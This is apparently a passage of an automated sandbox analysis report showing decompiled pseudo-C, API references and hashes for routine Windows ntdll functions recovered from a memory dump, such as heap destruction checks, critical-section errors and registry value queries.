0x6ce1e042
0x6ce1e044
0x6ce1e046
0x6ce1e04c
0x00000000
0x00000000
0x6ce1e052
0x6ce1e056
0x00000000
0x00000000
0x00000000
0x6ce1e056
0x6ce1e033
0x6ce1de77
0x6ce1de77
0x6ce1de7c
0x6ce1e0ce
0x00000000
0x00000000
0x6ce1e0d4
0x00000000
0x6ce1e0d4
0x00000000
0x6ce1de7c
0x6ce1dddd
0x6ce1dde2
0x6ce1dde2
0x6ce1dde7
0x6ce1de59
0x6ce1de59
0x00000000
0x6ce1de59
0x6ce1ddf0
0x6ce1ddf3
0x6ce1ddfa
0x6ce1ddff
0x6ce1de05
0x6ce1de1c
0x00000000
0x00000000
0x6ce1de1e
0x00000000
0x6ce1de1e
0x6ce1de0f
0x6ce1de25
0x6ce1de28
0x6ce1de2d
0x6ce1de33
0x6ce1de3e
0x6ce1de41
0x6ce1de50
0x6ce1de52
0x6ce1de54
0x6ce1de57
0x00000000
0x6ce1de57
0x6ce1de11
0x6ce1de14
0x6ce1de14
0x00000000

APIs

RtlAcquireSRWLockShared.1105(6CEF8654,6CE517F0,00000000), ref: 6CE1DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6CE517F0,00000000), ref: 6CE1DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6CE517F0,00000000), ref: 6CE1DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6CE1DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6CE1DF46

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: 646dbce17ae3230f15f84cbb8ac9297db843bba48348590abf79b6f1a902f30d
Instruction ID: 7f7a309598f14ea561883d1faa2681ba0b1be2e7a9abea29bf496c39882e8d57
Opcode Fuzzy Hash: 646dbce17ae3230f15f84cbb8ac9297db843bba48348590abf79b6f1a902f30d
Instruction Fuzzy Hash: 55C11574E456068FDB14CF59C840BAEB7B2AF85318F34866DE424ABF80D730EA41CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC3518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6CEC3518(signed int* __ecx) {
				char _v8;
				void* _t11;
				signed int* _t34;

				_push(__ecx);
				_t34 = __ecx;
				if(__ecx !=  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
					if(E6CE040E1("RtlDestroyHeap") == 0 || E6CEC4496(__ecx, 0) == 0) {
						goto L5;
					} else {
						_t32 = __ecx + 0x80;
						 *((intOrPtr*)(__ecx + 0x60)) = 0;
						if( *((intOrPtr*)(__ecx + 0x80)) != 0) {
							_v8 = 0;
							E6CE3174B(_t32,  &_v8, 0x8000);
						}
						_t11 = 1;
					}
				} else {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6CE0B150("May not destroy the process heap at %p\n", _t34);
					L5:
					_t11 = 0;
				}
				return _t11;
			}

0x6cec351d
0x6cec3525
0x6cec352a
0x6cec357d
0x00000000
0x6cec358c
0x6cec358e
0x6cec3594
0x6cec3599
0x6cec359b
0x6cec35a7
0x6cec35a7
0x6cec35ac
0x6cec35ac
0x6cec352c
0x6cec3536
0x6cec3555
0x6cec355a
0x6cec3538
0x6cec354d
0x6cec3552
0x6cec3566
0x6cec356d
0x6cec356d
0x6cec356d
0x6cec35b2

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6CE5FC67), ref: 6CEC354D
DbgPrint.1105(HEAP: ,00000000,?,?,6CE5FC67), ref: 6CEC355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6CE5FC67), ref: 6CEC3566

Strings

HEAP[%wZ]: , xrefs: 6CEC3548
May not destroy the process heap at %p, xrefs: 6CEC3561
HEAP: , xrefs: 6CEC3555
RtlDestroyHeap, xrefs: 6CEC3571

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: 211e6d0448fca593ba0f0c5849a9b397195d513dd5c2f4f1729dbc0ba9f06e13
Instruction ID: 24c5f971d4006eb28f6431adb53fac25f52664f3b2db7d7a8653a6ca9b68c3b9
Opcode Fuzzy Hash: 211e6d0448fca593ba0f0c5849a9b397195d513dd5c2f4f1729dbc0ba9f06e13
Instruction Fuzzy Hash: 380104326112049BC710DB68C644BEA73F8BB4671CF308459E4259BF51DA31E849C692

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9FF10, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44timeCOMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000065,00000000,NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p,?,000000FF,?,6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000,?,6CE01E03,?), ref: 6CE9FF69
RtlDecodePointer.1105(6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000,?,6CE01E03,?,6CE01D6E,?), ref: 6CE9FF78
RtlRaiseStatus.1105(C0000264,6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000,?,6CE01E03,?,6CE01D6E,?), ref: 6CE9FF89
RtlDebugPrintTimes.1105(?,C0000264,6CEE09B0,00000014,6CE1EBD8,?,?,?,00000000,?,6CE01E03,?,6CE01D6E,?), ref: 6CE9FF9A
RtlpNotOwnerCriticalSection.1105 ref: 6CE9FFB1

Strings

PSl?, xrefs: 6CE9FF56, 6CE9FF5C
NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 6CE9FF60

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CriticalDebugDecodeOwnerPointerRaiseRtlpSectionStatusTimes
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p$PSl?
API String ID: 2675442896-2289804335
Opcode ID: d59e9751dde07c45dea1dd2c59528978387e0e5445b257175973cdfdb3f50d6b
Instruction ID: b328585c5b356dd3702c4dc1154934fe9c3f71de3c976c96234a20fa160b73be
Opcode Fuzzy Hash: d59e9751dde07c45dea1dd2c59528978387e0e5445b257175973cdfdb3f50d6b
Instruction Fuzzy Hash: C511CE75911144AFDF11CB50C946BD877B1FB4830DF318448F00957B60C73A9A94CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CE0C600, Relevance: 12.2, APIs: 8, Instructions: 225
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6CE0C600(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v1036;
				intOrPtr _v1040;
				char _v1048;
				intOrPtr _v1052;
				short _v1054;
				void* _v1056;
				void* _v1060;
				long* _v1064;
				char _v1068;
				long _v1076;
				intOrPtr _v1080;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t81;
				void* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t109;
				long* _t110;
				long* _t111;
				long* _t112;
				long* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				void* _t117;
				intOrPtr _t118;
				void* _t120;
				long _t121;
				long _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x6cefd360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E6CE16D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E6CE4B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t74 = RtlAllocateHeap(_t107,  *0x6cef7b9c + 0x180000, _t121);
					_v1060 = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1068);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1056);
					_push(_t116);
					_t122 = E6CE49650();
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *((intOrPtr*)(_t102 + 4));
							if(_t109 == 3 || _t109 == 7) {
								if(_t114 != _t109) {
									goto L59;
								}
								_t110 = _v1064;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1068 = _t118;
								if(_t110 == 0 ||  *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								} else {
									_push( *((intOrPtr*)(_t102 + 8)));
									_t59 = _t102 + 0xc; // 0xc
									_push(_t110);
									goto L54;
								}
							} else {
								_t118 = 4;
								if(_t109 != _t118) {
									if(_t109 != 0xb) {
										if(_t109 == 1) {
											if(_t114 != _t118) {
												_t118 =  *((intOrPtr*)(_t102 + 8));
												_v1068 = _t118;
												if(_t118 > _t77) {
													L10:
													_t122 = 0x80000005;
													L11:
													_t81 = _v1048;
													if(_t81 != 0 && (_t122 >= 0 || _t122 == 0x80000005)) {
														 *_t81 = _t118;
													}
													L15:
													_t78 = _v1060;
													if(_t78 != 0) {
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t78);
													}
													_t68 = _t122;
													goto L4;
												}
												_push(_t118);
												_t56 = _t102 + 0xc; // 0xc
												_push(_v1064);
												L54:
												memcpy();
												_t125 = _t125 + 0xc;
												goto L11;
											}
											if(_t77 != _t118) {
												L34:
												_t122 = 0xc0000004;
												goto L15;
											}
											_t111 = _v1064;
											if((_t111 & 0x00000003) == 0) {
												_v1068 = _t118;
												if(_t111 == 0) {
													goto L10;
												}
												_t42 = _t102 + 0xc; // 0xc
												_v1052 = _t42;
												_v1056 =  *((intOrPtr*)(_t102 + 8));
												_v1054 =  *((intOrPtr*)(_t102 + 8));
												_t122 = RtlUnicodeStringToInteger( &_v1056, 0, _t111);
												L44:
												_t118 = _v1080;
												goto L11;
											}
											_t122 = 0x80000002;
											goto L15;
										}
										_t122 = 0xc0000024;
										goto L44;
									}
									if(_t114 != _t109) {
										L59:
										_t122 = 0xc0000024;
										goto L15;
									}
									_t118 = 8;
									if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
										goto L34;
									} else {
										_t112 = _v1064;
										_v1068 = _t118;
										if(_t112 == 0) {
											goto L10;
										}
										 *_t112 =  *(_t102 + 0xc);
										_t112[1] =  *(_t102 + 0x10);
										goto L11;
									}
								}
								if(_t114 != _t118) {
									goto L59;
								}
								if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								} else {
									_t113 = _v1064;
									_v1068 = _t118;
									if(_t113 == 0) {
										goto L10;
									}
									 *_t113 =  *(_t102 + 0xc);
									goto L11;
								}
							}
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						if(_t118 <= _a20) {
							_t114 =  *((intOrPtr*)(_t102 + 4));
							_t77 = _t118;
							goto L26;
						}
						_v1068 = _t118;
						goto L10;
					}
					if(_t122 != 0x80000005) {
						goto L15;
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1076;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E6CE49650();
				if(_t122 >= 0) {
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x6ce0c608
0x6ce0c615
0x6ce0c625
0x6ce0c62d
0x6ce0c635
0x6ce0c640
0x6ce0c680
0x6ce0c687
0x6ce0c688
0x6ce0c689
0x6ce0c694
0x6ce0c694
0x6ce0c642
0x6ce0c64a
0x6ce0c697
0x6ce77a25
0x6ce77a2b
0x6ce77a30
0x6ce77bea
0x6ce77bea
0x00000000
0x6ce77bea
0x6ce77a43
0x6ce77a48
0x6ce77a4e
0x00000000
0x00000000
0x6ce77a58
0x6ce77a5a
0x6ce77a5b
0x6ce77a5c
0x6ce77a5d
0x6ce77a63
0x6ce77a64
0x6ce77a6a
0x6ce77a6e
0x6ce779cb
0x6ce779cb
0x6ce779d0
0x6ce77a98
0x6ce77a9b
0x6ce77a9b
0x6ce77aa1
0x6ce77bc0
0x00000000
0x00000000
0x6ce77bc2
0x6ce77bc6
0x6ce77bc9
0x6ce77bcf
0x00000000
0x6ce77bde
0x6ce77ba9
0x6ce77bac
0x6ce77bb0
0x00000000
0x6ce77bb0
0x6ce77ab0
0x6ce77ab2
0x6ce77ab5
0x6ce77aef
0x6ce77b28
0x6ce77b64
0x6ce77b8f
0x6ce77b92
0x6ce77b98
0x6ce779e6
0x6ce779e6
0x6ce779eb
0x6ce779eb
0x6ce779f1
0x6ce779ff
0x6ce779ff
0x6ce77a01
0x6ce77a01
0x6ce77a07
0x6ce77a15
0x6ce77a15
0x6ce77a1a
0x00000000
0x6ce77a1a
0x6ce77b9e
0x6ce77b9f
0x6ce77ba3
0x6ce77bb1
0x6ce77bb1
0x6ce77bb6
0x00000000
0x6ce77bb6
0x6ce77b68
0x6ce77ae2
0x6ce77ae2
0x00000000
0x6ce77ae2
0x6ce77b6e
0x6ce77b75
0x6ce77b81
0x6ce77b87
0x00000000
0x00000000
0x6ce77b31
0x6ce77b34
0x6ce77b3c
0x6ce77b46
0x6ce77b57
0x6ce77b59
0x6ce77b59
0x00000000
0x6ce77b59
0x6ce77b77
0x00000000
0x6ce77b77
0x6ce77b2a
0x00000000
0x6ce77b2a
0x6ce77af3
0x6ce77be0
0x6ce77be0
0x00000000
0x6ce77be0
0x6ce77afb
0x6ce77afe
0x00000000
0x6ce77b05
0x6ce77b05
0x6ce77b09
0x6ce77b0f
0x00000000
0x00000000
0x6ce77b18
0x6ce77b1d
0x00000000
0x6ce77b1d
0x6ce77afe
0x6ce77ab9
0x00000000
0x00000000
0x6ce77ac1
0x00000000
0x6ce77ac8
0x6ce77ac8
0x6ce77acc
0x6ce77ad2
0x00000000
0x00000000
0x6ce77adb
0x00000000
0x6ce77adb
0x6ce77ac1
0x6ce77aa1
0x6ce779d6
0x6ce779dc
0x6ce77a91
0x6ce77a94
0x00000000
0x6ce77a94
0x6ce779e2
0x00000000
0x6ce779e2
0x6ce77a7a
0x00000000
0x00000000
0x6ce77a8a
0x6ce77a21
0x6ce77a21
0x00000000
0x6ce77a21
0x6ce0c650
0x6ce0c651
0x6ce0c656
0x6ce0c65c
0x6ce0c65d
0x6ce0c663
0x6ce0c664
0x6ce0c66a
0x6ce0c66e
0x6ce779c7
0x00000000
0x6ce779c7
0x6ce0c67a
0x00000000
0x00000000
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6CE0C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6CE0C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6CE77A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6CE77A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6CE77A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6CE77A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6CE77B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6CE77BB1

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 5e18560c6c557acea99dabeb936f088bb4cc419a644099b51b41ee60b1673257
Instruction ID: 0d246a702d1b1ab3cbfc1f33240b3c3c4baa00d07b13b632f9fc91fb644bf0f7
Opcode Fuzzy Hash: 5e18560c6c557acea99dabeb936f088bb4cc419a644099b51b41ee60b1673257
Instruction Fuzzy Hash: 638192756492028BDB22CE14C880B6A73B5EB85398F35896EED54DBB40E330DD45CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 6CE05050, Relevance: 12.1, APIs: 8, Instructions: 133
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6CE05050(intOrPtr _a4) {
				char _v20;
				void* _v24;
				long _v26;
				void* _v28;
				void* _v40;
				void* _v42;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v64;
				intOrPtr _t34;
				void* _t36;
				void* _t38;
				signed short _t41;
				signed int _t51;
				void* _t58;
				void* _t60;
				void* _t69;
				intOrPtr _t74;
				long _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t82;
				void* _t84;

				_t84 = (_t82 & 0xfffffff8) - 0x1c;
				_t34 =  *[fs:0x30];
				_t58 =  *(_t34 + 0x18);
				_t74 =  *((intOrPtr*)(_t34 + 0x10));
				_v28 = _t58;
				if(E6CE0519E(_a4) != 0) {
					_t36 = 0;
					L14:
					return _t36;
				}
				if(E6CE274C0(_a4) != 0) {
					_t36 = 0xc0000103;
				} else {
					_t78 =  *(_t74 + 0x26) & 0x0000ffff;
					while(1) {
						_t38 = RtlAllocateHeap(_t58, 0, _t78);
						_v24 = _t38;
						if(_t38 == 0) {
							break;
						}
						_v28 = 0;
						if(_t78 > 0xffff) {
							_v26 = 0xffff;
							L25:
							_t79 = 0xc0000095;
							L26:
							RtlFreeHeap(_t58, 0, _t38);
							_t36 = _t79;
							goto L14;
						}
						_v26 = _t78;
						_t80 = E6CE26E30(_a4, _t78, _t38, 0, 0,  &_v20);
						if(_t80 == 0) {
							_t79 = 0xc0000033;
							L23:
							_t38 = _v24;
							goto L26;
						}
						_t41 = _v26;
						if(_t80 > (_t41 & 0x0000ffff) - 4) {
							__eflags =  *((char*)( *[fs:0x30] + 3));
							if(__eflags >= 0) {
								_t41 = _v26;
								goto L7;
							}
							RtlFreeHeap(_t58, 0, _v24);
							_t78 = _t80 + 4;
							continue;
						}
						L7:
						_t72 = _t41 & 0x0000ffff;
						if(_t80 > (_t41 & 0x0000ffff)) {
							_t79 = 0xc0000106;
							goto L23;
						}
						_t92 = _t80 - 0xffff;
						if(_t80 > 0xffff) {
							_v28 = 0xffff;
							_t38 = _v24;
							goto L25;
						}
						_v28 = _t80;
						_t60 = E6CE3F0BF( &_v28, _t72, _t92, _t84 + 0x14);
						RtlFreeHeap(_v40, 0, _v28);
						if(_t60 >= 0) {
							L6CE1EEF0(0x6cef79a0);
							_t69 = _v44;
							_t81 =  *0x6cef8210;
							 *((intOrPtr*)(_t74 + 0x2c)) =  *((intOrPtr*)(_t69 + 4));
							 *((intOrPtr*)(_t74 + 0x28)) =  *((intOrPtr*)(_t69 + 0x10));
							 *((short*)(_t74 + 0x24)) =  *((intOrPtr*)(_t69 + 0xc));
							 *0x6cef8210 = _t69;
							_t51 = E6CE1EB70(_t69, 0x6cef79a0);
							if(_t81 != 0) {
								asm("lock xadd [esi], eax");
								if((_t51 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t81 + 4)));
									E6CE495D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t81);
								}
							}
						}
						_t36 = _t60;
						goto L14;
					}
					_t36 = 0xc0000017;
				}
			}

0x6ce05058
0x6ce0505b
0x6ce05066
0x6ce0506a
0x6ce0506d
0x6ce05078
0x6ce0519a
0x6ce05191
0x6ce05197
0x6ce05197
0x6ce05088
0x6ce60c21
0x6ce0508e
0x6ce0508e
0x6ce05092
0x6ce05096
0x6ce0509b
0x6ce050a1
0x00000000
0x00000000
0x6ce050ae
0x6ce050b5
0x6ce60c72
0x6ce60c77
0x6ce60c77
0x6ce60c7c
0x6ce60c80
0x6ce60c85
0x00000000
0x6ce60c85
0x6ce050bf
0x6ce050d4
0x6ce050d8
0x6ce60c67
0x6ce60c6c
0x6ce60c6c
0x00000000
0x6ce60c6c
0x6ce050de
0x6ce050eb
0x6ce60c31
0x6ce60c35
0x6ce60c4b
0x00000000
0x6ce60c4b
0x6ce60c3e
0x6ce60c43
0x00000000
0x6ce60c43
0x6ce050f1
0x6ce050f1
0x6ce050f6
0x6ce60c55
0x00000000
0x6ce60c55
0x6ce05101
0x6ce05103
0x6ce60c5c
0x6ce60c61
0x00000000
0x6ce60c61
0x6ce0510d
0x6ce05120
0x6ce05128
0x6ce0512f
0x6ce05136
0x6ce0513b
0x6ce0513f
0x6ce0514d
0x6ce05153
0x6ce0515a
0x6ce0515e
0x6ce05164
0x6ce0516b
0x6ce05170
0x6ce05174
0x6ce05176
0x6ce05179
0x6ce0518a
0x6ce0518a
0x6ce05174
0x6ce0516b
0x6ce0518f
0x00000000
0x6ce0518f
0x6ce60c8c
0x6ce60c8c

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6CE05096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6CE60C80

Part of subcall function 6CE26E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6CE26F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6CE05128
RtlEnterCriticalSection.1105(6CEF79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6CE05136
RtlLeaveCriticalSection.1105(6CEF79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6CE05164
ZwClose.1105(?,6CEF79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6CE05179
RtlFreeHeap.1105(?,00000000,?,?,6CEF79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6CE0518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6CE60C3E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: c3d2d4e5d74ca40602fbd0ed63179833cd9adb7e0a2caeb4bcc53565fcb72b31
Instruction ID: 97ead0a388e62af3bacf8cb324aa7330e2b1dd4268fc6b7468a4a757321f2dd1
Opcode Fuzzy Hash: c3d2d4e5d74ca40602fbd0ed63179833cd9adb7e0a2caeb4bcc53565fcb72b31
Instruction Fuzzy Hash: 2341FF36249752ABD310DF29C840B6AB7B4AF45318F20092DF89587F81D730DC16C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3513A, Relevance: 10.8, APIs: 7, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6CE3513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				int _v28;
				int* _v32;
				signed int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				void* _t165;
				signed int _t172;
				signed int _t181;
				void* _t185;
				void* _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				intOrPtr _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr _t230;
				void** _t233;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t241;
				void* _t246;
				signed int _t247;
				signed int _t248;
				void* _t249;
				void* _t252;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t257;

				_t256 = (_t254 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6cefd360 ^ _t256;
				_v32 = _v32 & 0x00000000;
				_t252 = __edx;
				_t238 = __ecx;
				_t212 = 6;
				_t246 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t246, 0, _t212 << 2);
				_t257 = _t256 + 0xc;
				_t247 = _t246 + _t212;
				if(_t207 == 2) {
					_t248 =  *(_t238 + 0x60);
					_t208 =  *(_t238 + 0x64);
					_v63 =  *((intOrPtr*)(_t238 + 0x4c));
					_t159 =  *((intOrPtr*)(_t238 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t238 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t248;
					L8:
					_t214 = 0;
					if( *(_t238 + 0x74) > 0) {
						_t82 = _t238 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = 1 + _t214;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t238 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t238 +  *((intOrPtr*)(_v88 + _t238 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t238 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t238 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t241 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t252 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t241 + 0x4e) & 0x7fff)) {
								_t181 = E6CE4D0F0(1, _t226 + 0x20, 0);
								_t230 = _v40;
								 *(_t230 + 8) = _t181;
								 *((intOrPtr*)(_t230 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t250 = _t127;
								E6CE22280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
